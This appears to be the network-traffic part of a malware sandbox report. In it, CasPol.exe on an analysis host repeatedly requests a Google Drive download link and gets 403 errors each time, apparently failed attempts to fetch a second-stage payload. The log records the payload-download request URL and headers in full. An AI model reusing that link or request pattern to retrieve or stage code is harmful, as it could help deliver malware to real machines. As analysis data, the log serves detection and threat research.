2022-04-20 13:29:16 UTC	0	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:23 UTC	0	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:23 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:23 UTC	0	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:23 UTC	1	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49755	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:23 UTC	1	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:32 UTC	1	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:32 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:32 UTC	2	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:32 UTC	3	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.11.20	49774	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:36 UTC	15	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:41 UTC	16	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:41 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:41 UTC	16	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:41 UTC	17	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.11.20	49775	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:41 UTC	17	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:30:50 UTC	17	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:30:50 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:30:50 UTC	17	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:30:50 UTC	18	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.11.20	49776	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:30:50 UTC	19	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:00 UTC	19	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:00 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:00 UTC	19	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:00 UTC	20	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.11.20	49778	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:01 UTC	20	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:08 UTC	20	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:08 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:08 UTC	21	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:08 UTC	22	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.11.20	49779	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:09 UTC	22	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:17 UTC	22	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:17 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:17 UTC	22	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:17 UTC	23	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.11.20	49780	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:18 UTC	23	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:23 UTC	24	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:23 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:23 UTC	24	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:23 UTC	25	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.11.20	49782	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:23 UTC	25	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:32 UTC	25	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:32 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:31:32 UTC	25	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:31:32 UTC	26	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.11.20	49783	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:31:32 UTC	26	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:31:39 UTC	27	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:31:39 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
